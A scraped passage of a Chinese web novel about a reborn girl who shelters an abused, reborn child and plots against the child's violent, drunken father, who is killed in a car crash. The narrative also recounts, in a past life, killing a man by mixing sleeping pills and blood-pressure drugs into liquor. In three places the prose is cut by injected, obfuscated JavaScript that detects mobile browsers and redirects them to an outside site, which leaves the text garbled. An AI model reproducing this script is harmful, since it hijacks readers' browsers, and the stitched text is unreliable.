在家她无论说什么,爷爷奶奶,哥哥妈妈都觉得她在乱说。 她哭诉父亲会打死自己,求母亲带着自己走,母亲不信,依旧只带哥哥离开,要过段时间才来接她。 哪怕父亲也对爷爷奶奶施暴,爷爷奶奶也只是说虎毒不食子,你爸爸有时候是被酒迷糊了,清醒的时候还是正常的。 必须问出李圆圆溺亡的时间,她不肯说,陆易宁只能诱导她说出来,“好,你可以呆在我家。但是我要问你一些问题,你只需要点头回答我好不好?” 李圆圆点了点头。 “你爸爸今天回家,是不是又要打你?” 李圆圆:“嗯。” “他今天下午或者是晚上要对你做的事,你是不是以前遭遇过?后来,你一醒来,就变成了……” 变成了什么? 婴儿? 陆易宁的大脑跟短路了一样,她重生的事她能描述,但是对方是个小孩,哪怕重生过,她可能也没长大过。 小孩的思想并不成熟,要怎么问对方有关重生这件事呢? “是小宝宝吗?”李圆圆问。 “对!”陆易宁双手拍了一掌,“所以……你真的重新变成……过吗?” 李圆圆小声说:“我变过两次。” 这就对了。 陆易宁一屁股坐在地上,背靠着床,四肢早就抖得麻木了,“你能告诉我……那两次……你是怎么变成小宝宝的吗?” 李圆圆垂着头,又开始纠结了。 “没关系的,我也变过两次。”陆易宁轻声说:“我跟你一样。这是我们俩的秘密,我不会告诉别人的。我只想知道你重新变成小宝宝是不是跟你爸爸有关,这样的话,我可以帮你。” 李圆圆抬头望向她,被泪水填充的眼睛里闪过一丝惊诧。 陆易宁追问道:“又或者,你今天来我家,是因为你不想被父亲打,再一次变成小宝宝?” “我想继续长大!我不想再变成小宝宝了!” 一直在苦笑的李圆圆被这个问题戳中,哭得不能自已。 她不知道死后重生,只知道自己以前读一年级,在劳动节的假期里被父亲用锤子砸晕过去,等醒过来时,溺在水里不能呼吸。 “我爸之前在我读一年级的时候,因为别人告诉她说我妈带着我哥去浙江了,所以用锤子砸过我的头,把我扔水缸里。后来,我变小了,又慢慢长大,然后他打我妈,打我哥,我……我咬了他,就被他从阳台上扔下了楼,头撞在了煤块上。”李圆圆一边哭一边擦眼泪,“这一次,我没咬他,但是劳动节他找不到我妈了,我怕我会被他用锤子打。” 陆易宁认真听着,将李圆圆的话从头捋到尾。 她说的被扔水缸,可能是第一世晕死后,被李守钧扔进了池塘,然后被活活溺死。第二世,则是被李守钧推下楼,所以没的。 上一世,李守钧和母亲相识,那时自己快要七岁了。陆远说他媳妇儿子跑了,分给自己的女儿也死了快两年了,很可怜。 这样算下来,李圆圆的第二世,也才活了两岁。 “好好好,我明白了我明白了。”陆易宁擦掉眼泪,起身去抱着她,“这次你不会重新变成小宝宝的。你会继续长大,变成一个大人,一个能主宰自己人生的大人。” 李圆圆哭得浑身发抖,“我妈会来接我去浙江,但是她的火车晚上才到,她明天才能到街上。我爸白天找不到她的话,回家会用锤子打我的。” 陆易宁轻轻地抚摸着她的后背,“这是你第一次重新变成小宝宝之前的发生的吗?” “嗯。” “你爸是下午还是天黑了才回到家的?” 李圆圆说:“天快黑了的时候。” “他喝酒了吗?” “喝了。”李圆圆点头,“喝得很多。” “好。”陆易宁松开李圆圆,抽了一截卫生纸给她擦掉眼泪,“你不用怕,你爸今天找不到你的,你今天就好好待在我家。明天,你妈妈就能来接你了。” “嗯,谢谢七七姐。” 安抚好李圆圆,陆易宁打开了父母的门。 之前陆天松过世,陆平回老家,把陆天松没怎么吃的药都带回来了。 陆天松有高血压,之前买了一款降压药,服用副作用有点大,所以没怎么吃。 陆易宁找到那瓶药,还好,带回来了。 要不然,这玩意儿去药房里还买不到。 上一世,刘秀珍经常失眠,血压又高,家里不仅有降压药,还有安眠药。 李守钧被陆易宁用菜刀砍伤,好不容易腿能走了,又去打刘秀珍,结果被警察带去关了几天,被放了出来之后,又提着菜刀去找陆易宁和刘秀珍复仇。 陆易宁当时不在家,所以陆易安遭了手,幸亏路上有人听见陆易安的哭声赶来拉着,不然陆易安不光是要被伤到手。 陆易安住进医院,晚上刘秀珍陪床。陆易宁悄悄从医院回到家,只看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466470|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李守钧坐在家门口喝酒,嚷着喊她去给自己做饭吃,等吃完饭,再收拾她。 陆易宁听话去给他做晚饭,在他口干舌燥的时候,把安眠药和降压药放在酒水里搅融合后给他喝。 李守钧吃完饭没多久就感觉浑身没力气,想去床上躺着,结果刚走到床边,就重重摔倒在地上。 陆易宁拿了各种药走到他身边。 感冒药,安眠药,降压药,退烧药,止痛药…… 李守钧晕头晕脑地被她喂了不少药,还是就着白酒吃下去的。 被折磨了几个小时,死了。 陆易宁将李守钧的脸,还有地上的呕吐物打扫干净,一直到第二天一早,才哭着跑出门。 第二天中午,李守钧酒精中毒死亡的消息传开。 他本来就爱喝酒,附近的人都清楚。 酒疯子醉死了的事件在小镇上不是新鲜事。他的父母没钱给他办丧事,只能买个棺材给他,草草下葬。 …… 陆易宁盯着降压药的瓶身看了半天,还是将药瓶装进裤子口袋里。 她现在是小孩子,人们对小孩子的戒心最轻了。李守钧是个在村里出了名的酒疯子,一个酒疯子酒精中毒死了,总比死在一个十岁小孩的手里令人信服。 纠结了几个小时,下午五点,陆易宁对陆易安说自己要去给李圆圆拿东西,去隔壁找郑煦拿了一瓶郑松的酒,还是带着药物出了门。 她知道李守钧的家在哪,上一世虽然是在上条街比较偏的地方租房子住,但李守钧还没暴露出真面目的时候,她去过他所在的村子里好几次。 当时村里的人们看着她,都在背着她摇头,她不小心看见了,还以为他们是在说自己的闲话。 实则是在同情自己。 从学校小吃街的岔路口出发,往左边的马路走个两公里,就会看见一片鱼塘。 鱼塘很宽,马路修在鱼塘边上,现在边上没有护栏,只有一面铁网。为了钓鱼,这片铁网还被钓鱼佬抠了几个大洞出来。 到了涨水期,池塘里的水甚至能漫到马路上。 陆易宁继续走了十几分钟,爬了一个小坡,终于看见了李守钧所在的村子。 李守钧家住在路口,一进村就可以看见。 一栋两层楼的青砖房,外面一层水泥都没有敷过。 他家的窗户破了一个大洞,但是陆易宁翻不进去。不过陆易宁来之前,偷偷从李圆圆的口袋里拿了钥匙。 现在六点过了,太阳已经落山,陆易宁坐在李守钧家门口正在纠结地等李守钧回来。 这一世自己和李守钧没有什么关系,真的要冒这趟险吗? 如果出了纰漏,没做好,毁了这一切怎么办? 还是……别冒险了,先回家…? 有人路过,问她在等什么,她将白酒塞在肚子前方,双膝并拢往后收,说是在等朋友。 陆易宁起来想走,又坐了回去,反反复复。 七点了,李守钧还没回来,天已经黑了,她也没走。 没一会,一对老夫妻哭天喊地地从眼前跑过。嘴里喊着:“我的儿啊,儿啊!幺儿啊…” 老两口刚从地里回来,脚上的鞋子是脏兮兮的,全是干的泥巴。 陆易宁连忙起身,这不是李守钧的爸妈吗? 李守钧是家里唯一的儿子,他还有一个姐姐,不过不在村里。 李守钧出事了? 陆易宁抱着酒往村子里跑,路上看见有几个大人凑在一起说闲话,闲话对象正好是刚刚跑出村的老两口。 陆易宁听了一嘴,下巴都快掉了。 自己还没动手,李守钧就死了? 46.四十六章 世上最可悲的事就是两个善良的人被命运捉弄,因为意外相互折磨。最爽的就是两个恶人的相互奔赴,互相撕咬。 村里的人做完农活,有时候会聚集在某个农户家门口摆龙门阵。李守钧出来后,去找父母要钱买酒喝,隔着一堵墙,在父母家门口不经意听见了隔壁邻居们聊天。 他们说自己的妻子已经带着儿子去浙江找小姨子了,并且今天就要坐火车回来接他的女儿去浙江。 这还得了? 李守钧喝了两口酒就坐班车去县城,守在火车站外面,只要妻子一出站,他就拿刀冲上去砍死她。 他在火车站门口等了一下午都没等着人,又跑去县城喝酒,等喝完酒再回家收拾家里的那个小崽子。 不巧的是在去车站的路上,被一个开着豪华小车酒驾的人闯红灯撞死了。 小车司机家里有钱,跟家里人闹了矛盾,喝了酒,开着车就想着上街撞人泄愤。 李守钧成了他车底下的第一个亡魂。 看李守钧被小车车轮来回碾压几次后,街上的人不敢过马路,全部跑到路边的店里躲着。 警察赶来将报复社会的司机控制住了,李守钧则是血肉模糊地躺在斑马线上。 陆易宁听村里的人说了好一阵,打开手里抱着的白酒瓶,龇牙咧嘴的,给摆龙门阵的村民们一人倒了一杯白酒。 她尊重生命,但是李守钧那畜生不配。 村民给了她一个手电照着路回家,陆易宁抱着半瓶白酒走在池塘边的马路上,微风扫过水面,拂过陆易宁的脸,甚是舒服。以至于她忘了,现在快晚上八点了。 陆平和郑松骑着摩托车找到她的时候,她一边走路,一边拿着手电射着池塘里的水,手里还有半瓶白酒。 陆平和郑松还以为她喝了半瓶白酒发酒疯乱跑。 陆易宁又挨了一顿批评,郑煦因为拿了郑松的白酒给她,也被骂了一顿。 不过回到家,看见李圆圆在家门口和附近的小孩子们吃樱桃的场景,被骂一顿也不错。 孩子们在外面玩,刘秀珍和陆平有点犯难。 李圆圆想在家里留宿,也该打个电话通知她爸妈一声才对。 陆易宁跑去隔壁向郑松道歉,郑松没有怪他,反倒怕自己的白酒被陆易宁喝了,如果她出了事,那才是大事。 陆易宁跑回家,父母在商量打电话给陆果果的班主任问李圆圆父母联系方式的事。 “不用联系了。”陆易宁将陆平的手机抢过来,在陆平要骂人时,压低声音说:“她爸今天在县城里出车祸死了。爷爷奶奶都去县城了,而且她妈妈的火车现在还没到,家里没人。” 毕竟是条人命,刘秀珍震惊过后,又开始狐疑道:“你怎么知道?” “她跟我说的呀,她妈带着她哥早就去浙江了,本来是明天一早就去接她的。”陆易宁说瞎说从不打草稿,“因为他爸经常打她,我今天去她家就是想偷偷拿她的书包来我们家,她今晚留在我们家做作业。结果我听村里的人说她爸下午去车站的路上被车撞了,村里的人说了好久,还说撞人的司机是个有钱人,能赔好多钱……” “咳咳……”陆平咳了两嗓子,“所以你天黑了不知道回家,专门在别的村子里听人家摆龙门阵?你一天天的,就知道跟你姐乱学。你拿的书包呢?” 陆易宁:“……” “还有呢还有呢?”刘秀珍斜了陆平一眼,“他爸是做什么的?” “什么都不做,专门在家啃老吸血。没钱喝酒的时候打老婆,打爸妈,有钱喝酒的时候也在打。” “……” 听陆易宁全方位介绍完李守钧这号玩意儿后,刘秀珍心里很不是滋味。 没想到那个叫李圆圆的孩子笑容下,隐藏的居然是这种心酸。 看她身上穿的衣服那么旧,刘秀珍二话不说,上楼去找以前给陆易安做的衣服。 陆易宁没有告诉李圆圆李守钧死了的事,只是让她今晚安心睡在家里。 第二天一大早,李圆圆被窗帘缝里的阳光晃醒。 她起床走到阳台上往下看,门口的干田里,母鸡带着小鸡寻食。马路上没一会就有一辆车跑过。 摩托车,拉煤车,面包车,三轮车…… 不同的车鸣乘着晨间的清风逐渐远去。 陆易宁推开门,李圆圆在望着远方发呆。 她和她并肩站在阳台上,突然想到了第一次看见李圆圆的情景,那时候她跟昨天中午一样,就站在马路上盯着家门口看。 赵倩说她小时候走失过,找朋友找到家门口。 陆易宁伸着懒腰,打了一个哈欠,“你是不是小的时候来过我家啊?” “对啊,我来过三次。”李圆圆竖起三个手指头,不好意思地笑了笑。 “三次?” “我第一次变成小宝宝长大后,来找陆易然,她不在,住在这栋房子里的爷爷奶奶说没这个人。隔壁的嬢嬢看我热得不行,给了我一块雪糕吃。这次变成小宝宝,我又来找过一次,住在这里的还是爷爷奶奶,那个嬢嬢又给了我雪糕吃。” “后来,读学前班报名,我妈带我去学校,我在学校里看见她了,但是没能和她说话,所以我又来找她。不过我没有看见她,我也没看见之前的爷爷奶奶,但是那个嬢嬢又给了我雪糕吃。” 陆易宁哇了一声,“你为什么要来找陆果果?” “因为她是我唯一的朋友。”李圆圆笑着说:“我没有朋友,我哥也不喜欢我,村里的小孩害怕我爸,都不理我的。我还没变成小宝宝时,在学校只有陆易然愿意跟我玩。我没吃过辣条,第一次吃也是她分给我的。有人嘲笑我穿的裤子是破的,她会给我找你们以前穿的衣服。怕我爸回家打我,她还带我来你家睡过觉……” “哇喔!” 陆易宁惊叹于小孩子短短三世的友情。 没想到陆果果那小东西第一世时瞒着家里面的人做过这些事。 李圆圆笑嘻嘻地问:“七七姐,你说你也变成过小孩,那你长大过吗?” 陆易宁点头,“嗯,当然了。” “那你当大人的时候是什么样的?”李圆圆投来充满希冀的目光。 “额……” 能是什么样?累死累活的牛马样呗… “就是大人样。想吃什么吃什么,想买什么买什么,一有时间就去旅游,穿得漂漂亮亮的出去玩。去看海,去大草原吹吹风,跟《喜羊羊与灰太狼》开头一样,坐着小车在草地上滑行,要多安逸有多安逸。”陆易宁编完,又一脸认真地说:“所以你一定要加油,坚持自己喜欢的东西,喜欢画画那就一直画下去,喜欢学习,那就学。总之,这一次一定要长大!” “嗯嗯!!” 朝阳的光芒照在脸上,李圆圆的眼睛里住进了两个太阳,在发着光,很少笑得这么开心。 …… 李圆圆的母亲回来了,接到刘秀珍的电话,第二天就来家里把她接了回去。 李守钧的丧事不急着办,接下来该准备的是赔偿金赔多少的问题。 李守钧当混蛋当了那么多年,第一次被命运选择,做了一件有点意义的事。 赵倩的预产期已经到了,在县医院住了几天后,生了一个女儿。 郑松在产房门口等了半天,护士将他的女儿抱出产房交到他手上,他在走廊里抱着女儿哭了十几分钟。 终于不用拿零食骗隔壁的陆果果当自己的女儿了! 刘秀珍看他哭得厉害,打趣道:“等以后长成我家陆安安那样,你才知道厉害。” 郑松给女儿准备了很多个名字,最后定下了“郑乐悠”这个名字。 郑煦不同意,要给妹妹取名郑迪迦或者是郑帝皇。 不出意外,被毙了。 赵倩从医院回来当天,街坊邻居们都来家里看小宝宝。 女人们围坐在家里吃着瓜子聊着天,从赵倩生孩子的整个过程聊到田对面杨奶奶的病情。 一个十七八岁的女孩跟一群孩子围坐在小宝宝的婴儿车旁边,婴儿车被放在后院的阴凉地里,里面的孩子闭着眼睛,像是睡着了,但是嘴巴还在一动一动的。 赵倩看向后院,几个孩子中间,那个十几岁的女孩长得很漂亮,穿了一身深色牛仔裙,扎着一个高丸子头,在一群只知道在太阳底下到处乱跑,脸被太阳晒得黑红黑红的小孩子里,脸盘子跟个白月亮一样。大双眼皮,大眼睛,高鼻梁,完全符合赵倩眼里漂亮女孩的标准。 “那个小姑娘是谁啊?”赵倩磕着瓜子,从刚才就想问了,“我好像没见过她诶。” 刘秀珍抬头看向话最多的黄兰,黄兰和方一敏短暂的对视过后,方一敏说:“那是我哥家方景从湖北带回来的,她不想待在家,想跟我出来逛逛。” 赵倩打趣道:“方景带小姑娘回家,自己不带她出来逛,还要你一个姑妈带出来逛。” 方一敏声音拔高,“方景那混小子带她出去?我怕是天天带去你家网吧里逛。” 赵倩不说话。 “我就说她长得不太像是本地人。”刘秀珍问:“多少岁了?” 方一敏:“快十八了。” “叫什么名字啊?” “叫朱婷婷。” 黄兰瞅着朱婷婷看孩子时,脸上时隐时现的笑容,敞开声音冲院里说:“哎哟,那么喜欢,自己生一个啊!” 方一敏说:“她不怎么听得懂方言的。” 朱婷婷的脸突然红了,陆易宁看得出,她好像听懂了。 陆易宁用普通话说:“姐姐,你才十七岁,你没必要听她们乱说话。” “我妈说女的就一定要生孩子。”罗玉龙立马反驳道:“女人到了一定年龄,不生孩子生什么?” “生钱啊!”陆易宁立马喷出来,“又不是只能生孩子。所以喊你多读书多看书,你一天天的就知道在圈里看猪,智商都分给猪了。” 罗玉龙被怼了一句,不想看孩子了,立马跑进屋去找黄兰。 罗玉美天真地说:“可是大人们都说女生这辈子必须生小孩啊!” “而且到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为我……就是喜欢他。”朱婷婷害羞得脸更红了。 “姐,他配不上你啊!他就是仗着你刚出社会,屁都不懂,好骗,才带着你回家的呀。”陆易宁恨铁不成钢地说:“我们这的女生都知道家附近的男人们是什么德行,喝酒抽烟打麻将,打牌,十个里抽五个都是赌鬼。不仅如此,还死要面子。在外当孙子,在家当大爷,懒得要死,饭不端到手上就发火,有时还爱出去……哎呀!染一身病回来!”陆易宁没把那个“嫖”字说出来,“所以他们在家娶不到媳妇,都是去找一些涉世不深学生,或者是去外省找好骗的女孩。” “不是所有男人都是那样的,你看你郑叔叔,你爸爸都不是你说的那种男人。我相信你方景哥他不是那样的。”朱婷婷沉浸在恋爱的蜜糖里无法自拔。 陆易宁能劝就劝,“我郑叔叔就不是本地人。我爸你别看他表面上怕我妈,实际上他也有很多烂脾气。我说的死要面子,懒,饭不端到手上他就不吃饭这种坏习惯他都有,更别说家务了!他在别人眼里够好了,但是如果我以后要结婚,我都不找他这种的。” “你为什么不把要求放得高一点呢?哪怕是正常一点呢?” “哎哟,你还小。你方景哥不抽烟,不喝酒不赌钱,很好了。” “你也不抽烟不喝酒不赌钱啊,这不是正常人吗?” 更何况方景私底下烟酒麻将扑克牌样样精通,过段时间甚至还会因为聚众赌博,然后因为输钱打架斗殴进大牢。 陆易宁的脸被太阳晒红了,不知道是热的,还是急的。 “反正我就是喜欢他。你还小,不懂得爱情。”朱婷婷摸着自己的肚子,笑盈盈地说:“而且,我们过段时间就要结婚了。我的第一个孩子,我是一定要生下来的。” 陆易宁:…… …… 第二天,陆易宁放学回家,发现房间的门是开着的。 爬上二楼,才看见是老妈在翻房间里的书。 陆易宁走进屋时,刘秀珍在翻衣柜底下大抽屉里的书。 “妈,你做什么呢?”陆易宁喊了一声。 刘秀珍神色严肃,“陆七七,你告诉我,你是不是藏了什么不该看的书了?” “我能藏什么什么书啊?” 刚才在店里摆龙门阵时,黄兰把陆易宁昨天对罗玉美说过的话全部说出来,她说到陆易宁的“种子说”时,笑得上气不接下气。 大人们现在都以为陆易宁在看成人书籍,气得刘秀珍急忙跑回家要检查一番。 刘秀珍骂道:“你说什么书,你昨天乱给人家罗玉美说什么呢?” 陆易宁:我真服了! 生理知识教育果然是传统家庭的大短板。 “这不是正常的知识吗?电视机上的科教视频里都教过,有什么不能说不出口的啊?” 刘秀珍:“你一个女孩子就是不能说!” 陆易宁来气了,“我去借熊爷爷的喇叭到处说!” 47.四十七章 陆易宁上个星期还在劝朱婷婷年纪轻轻,不要被爱情蒙蔽了双目。这个星期,自家读初三的表姐刘佳就为爱私奔,带着小男朋友逃到了家里。 这个陆易宁也不知道该怎么劝分,因为表姐带的小男朋友是张荣,而且他们两口子以后好像过得挺好的。 中考在即,刘佳不想读书了,周一早上拿着爸妈给的生活费去学校,中午老师的电话就打到刘林和孙书琴的手机里,说孩子又逃学了。 刘林生意都不做,开着车子在小镇上到处找人。结果女儿早就坐着班车去了县城,在县城玩了几天,没钱了,辗转去了风阳镇找姑姑。 刘秀珍上街买菜,看见侄女带着一个比她大几岁的男生从班车上下来时,脸跟手里的油麦菜一样绿。 孙书琴在电话里经常向刘秀珍抱怨女儿经常逃学出去玩,学校里的老师都不想管了这种话。 这次带着男朋友跑到家里来,刘秀珍本来想代替弟弟和孙书琴教训下侄女,但是赵倩说现在的小孩青春期,反骨,跟个皮球一样,越用力拍他跳的越高。 刘秀珍决定还是先不骂了,万一把人骂跑了,更难找。 刘佳和张荣坐在楼下看电视,刘秀珍在后院给他们洗水果。 赵倩去店里了,郑松在家带孩子,抱着孩子在院里走来走去,只要他一停,郑优优就哭。 “姐,在你家看电视的那两个小孩是?” “我侄女还有她同学。”刘秀珍将水龙头拧关上。 “那个男生不像是学生啊,一头黄头发。” “他几年前还是学生。”刘秀珍将装水果的盆子端到郑松跟前,让他拿提子吃,并好心提醒道:“唉,我弟之前也跟你一样,有了一个女儿后,宠天宠地宠得不得了,孩子炸毛乱发脾气他都觉得是嗓门好。然后,现在要中考了,她的宝贝女儿跟黄毛跑我家来了。” 郑松拿了两个提子,看着怀里又要哭了的女儿,又开始轻轻地摇了摇。 刘秀珍叹了叹气,“哪怕是女儿该打也要早点打,你晚点打她就会跑了。” 郑松才不听她乱说,笑眯眯地看着怀里的孩子,他才舍不得呢。 陆易宁放学回到家,看见学生时期的刘佳和张荣正在家里吃水果,就已经明白了一个大概。 这是私奔跑到家里来了。 晚上,刘佳和张荣带着弟弟妹妹在后院打羽毛球,打累了,正是中场休息的时候,四个大人拿着小板凳出来,坐在边上,开始寻找时机说大道理。 刘秀珍最先开口,把张荣和刘佳喊到跟前,笑嘻嘻地问:“你们两个老实告诉我,你们真是同学吗?还是别的关系?” 陆平挤了她的胳膊肘一下,“能是是什么关系?他们这个年纪除了同学还能是哪样关系?” 刘佳一眼看出大人们是要做什么,她才不怕,“我们是朋友啊!” “是耍朋友那种” 郑松的话还没说完,赵倩一个眼神飞过去,他就不说话了。 赵倩摆了摆手,“男生女生做朋友不是正常得很吗?硬是男女生一是朋友,就非得谈恋爱了。” “我们就是你们认为的那种关系。” 刘佳看了张荣一眼,张荣挠着眉毛不敢看大人们的脸色。 “你有个鬼出息哦!”刘佳对着张荣翻了个大白眼,从容不迫地对刘秀珍说:“姑姑,反正我是不想读书了的。我又读不了书,还不如早点和他出去打工挣钱,再生个孩子” “等哈等哈!”陆平连忙打断道:“你们这个年纪厌学我可以理解,但是生什么孩子哦!” 赵倩跟着劝道:“对啊,你看嬢嬢我,年轻的时候个子高,又漂亮,生了孩子后,现在肚子上的肉还是松垮垮的。” “可是我觉得嬢嬢你现在也很漂亮啊,不是那种小女生的漂亮,而是一种知性美。”刘佳见招拆招,漂亮话脱口而出,抬手打了张荣的后背一巴掌,张荣赶紧点头,“对啊,嬢嬢你现在也好看。” “她说得挺对的哦。”郑松很满意刘佳的漂亮话,带着欣赏的目光上下打量着赵倩。 被赵倩瞪了一眼后,才正经地对张荣说:“但是你们嬢嬢以前更漂亮。小伙,你不懂,女人一旦有了孩子,对她的身体会非常不好,她就是用自己的营养来养的孩子啊。这个小妹妹还小,你舍得吗?” 刘佳说:“我们又不是现在就要孩子。” 刘秀珍正色道:“那你连个初中学历都不得就出去打工,哪个会要你?” 张荣缓缓抬起头说:“我有个兄弟在广东,我们去找他,他会给我们安排的。” “我还以为你们是靠自己啊,原来是靠的别人。打铁本身硬的道理你们晓得不,你去靠你兄弟,你怎么就知道他能一直帮你们?你们这个年纪,别说去广东,就算是在我们省,随便一个人都能骗你你们去黑心厂。”刘秀珍的下巴朝着陆平抬了抬,“这就有个现成的例子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471203|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你姑父以前也是跟你们一个年纪,跟着村里人跑去广东打工。结果呢,带着他去广东的人扔下他就跑了,他在黑心厂里一天做十七八个小时,一天连十块钱都赚不到。不仅如此,他们那个线长张口闭口就是你家妈你家仙人,甚至还动手打人。尤其是外省的人,下手最严重!你叔父在里面,脚都差点被打断。” 陆平皱着眉头听完,他的脚好像是在煤矿里才差点断的。 罢了,现在是配合要紧。 陆平一拍大腿,“对啊,我现在走路都还有点瘸。” 刘佳压根不信:“现在的治安比以前的好。” “广东的厂我们们进过好几个。”郑松说:“你们没学历没技术的,能进去的无非就是那几种厂子,我们以前都去过,没一个好的。” 四个大人你一言我一语,轮番上阵。 陆易宁蹲在圈墙旁边等下一个羽毛球下家,看着对面站在大人面前的表姐和未来的表姐夫,除了叹气,就是叹气。 再劝劝吧,再劝,表姐中考过后,照样能跟着小黄毛跑了。后来分手,又跑回家,小舅舅花大价钱给她找了一个高中,结果高三那年两人又复合了。 刘佳彻底不读书了,高考都不去,就跟着张荣跑去福建了。 不过张睿轩那孩子一时半会还不会出世,要等表姐和张荣分分合合扯个几年后才出来。 刘秀珍好言好语劝了一晚上,刘佳才答应她回家,等中考结束了再说。 第二天,刘秀珍给了刘佳一点钱,亲自送她去县城客车站,看见他们上了去吉长镇的客车,客车发车,两个多小时后,接到刘林打来的电话说接到孩子了才罢休。 刘佳回到家,刘林和孙书琴都没打她。孙书琴哭了一个下午,刘佳才说不与张荣联系了。 两口子悬着的心放下了。 六月底,刘佳参加了中考。 七月中旬,刘佳跟着张荣又跑了,电话打不通,发消息不回。 刘林打电话打到刘秀珍手机里,好在刘秀珍的电话刘佳会接。刘秀珍也没辙了,只能当个中间传话人,尽量贴补两个在外的小年轻人。 刘林找到张荣老家,当着张荣爸妈的面大骂张荣。 张荣在电话里被爸妈骂的狗血淋头,甚至威胁到了父子关系。 没办法,只能和刘佳分手。 张荣留在广东,刘佳伤心欲绝一段时间后,老实回家读高中。 …… 48.四十八章 李守钧死了,肇事者赔了三十多万。 李圆圆的母亲分得了二十五万,李守钧的爸妈分得了十三万。 赔偿金入了账户,才开始着手办丧事。 李圆圆对父亲的死说不上伤心悲痛,她和李守钧之间少的可怜的父女之情,早就葬送在那个酒鬼的拳头之下。 她两次死在李守钧手下,这次李守钧的死,带给她的是第一次重生的希望,不是简单的丧父之痛。 李守钧的丧事,他最喜欢的儿子没有回来,一直待在浙江。在他棺木前给他烧纸磕头的是他最恨的女儿,为他流泪的也只有他的父母。 陆平带着陆三个女儿去李家帮忙,虽然他不认识李守钧,但是他认得李圆圆。 有些心善的老人看不下去,站在灵堂门口指责跪在棺材前,一脸木讷的李圆圆,好歹是一条命,哪怕他生前再不是人,为儿为女的给父亲磕头守夜,怎么着也该掉两颗眼泪,表示一下感恩父亲的生育之恩。 生育之恩? 陆易宁好像听到了一个压根不属于李守钧的高帽词语。 李圆圆的母亲好歹怀胎十月在鬼门关走了一趟。李守钧那个玩意儿爽了一阵,提着裤子走了,不养家就算了,拆家还不够,喝了点马尿就想着打死女儿。 “育”字怎么写那家伙都不知道,还生育之恩? “生育之恩是什么廉价低贱的词儿吗?那种糟心玩意你们都能给他戴这个帽子?” 陆易宁站在几个正在抽烟老大爷跟前,仰起脑袋回头看,差点被烟斗上飘出来的青烟呛着。 其中一个老大爷回道:“小姑娘真不会说话,没有爹,哪来的李圆圆啊?” “李圆圆又没求着李守钧跟她妈睡觉!李守钧管不住,怪谁啊?” 虽说话糙理不糙,但这句话对于几个上了年纪的老人来说,有点太糙了。 陆平正在端瓜子给来帮忙的人吃,听见二女儿在和一群大爷吵架,连忙赶过来向几位初在震惊中的大爷赔不是,拉着陆易宁的手远离了灵堂。 李守钧的丧事结束,李圆圆的母亲就去了浙江。 这一次,李圆圆也没被带上,而是继续和爷爷奶奶住在乡下,等母亲在浙江落稳脚跟才会接她过去。 她就像是一个被人遗忘的包袱,悬在她头顶上的大石头碎了,也没人想要走近将她带走。 爷爷奶奶对自己冷漠,母亲哥哥疏离自己。 没关系,自己有朋友。 陆果果经常带她去家里玩,天气凉了,刘秀珍做棉衣也会给她做两件。赵倩有时候做了什么好吃的,第二天都会喊郑煦带一点去学校分给她。 她在村里有了小伙伴,放学后会一起回家。街上她也有几个小伙伴,就是在班里,依旧只有陆果果一个朋友。 哪怕在学校里被传是孤儿,会有高年级的人来欺负她。 不过,她也不怕。她也认识高年级的人,而且是六年级的。 小学生里的食物链顶端就是六年级的学生,李圆圆的帮手则是风阳镇希望小学食物链顶端的顶端——陆易安。 陆易安的圈子涵盖了老师,四五六年级一大半学生,初中生,甚至是小吃街上的商户。 在陆易安的光环下,上赶着找李圆圆麻烦的人被警告了一番,不敢生事了。 陆易安不拉帮结派,她是个热心肠,又喜欢跟别人打交道,她的圈子是无意中形成的,靠的就是她那张嘴还有常做好人好事。 陆易宁有时候都觉得陆易安当大姐大有点丢人。别说在六年级了,陆易宁读五年级,班上的有些男生还特意请陆易宁吃东西,就是为了认识陆易安,要跟陆易安行侠仗义。 所谓的行侠仗义无非就是在街上帮老大爷老奶奶推个车,看见绿化区的垃圾随手捡起来,看见同学被霸凌,出手相助…… 小孩子之间的对话总是带有夸张的成分,自从陆易安升了六年级,夸张得有点过分了,陆易安这个班长一下就在小学生的嘴巴里出名了。 陆易宁遥想当年(第一世),有人嘲笑自己胖,全靠陆易安给她打前阵,她只能没出息地躲在后面哭。 这一世,自己好像也沾了陆易安的一点光,班上没人说过自己胖。 为了维护自己的交际圈,陆易安还特意用刘秀珍的手机号码注册了一个□□号。 坐在网吧里,陆易安看着自己的第一个□□头像——一只黑企鹅,犯了难。 要取一个什么样的□□昵称才能配得上自己呢? 陆易宁提议:“空空如也。” 大脑空空的意思。 陆易安摇了摇头,自己是个世俗的人,看空不了。 陆易宁:“???” “霸王大呲花怎么样?”郑煦也跟着瞎掺和,“霸道,嗓门又大,又刺儿头。” “这个好!生动又形象!”陆易宁和郑煦击掌,难得一次意见相同。 陆易安瞪着陆易宁和郑煦,“你信不信我马上变成喇叭花吼死你们两个。” 想了一个小时,陆易安终于想到了一个□□昵称,一个小说男主的形容词——邪魅狂狷。 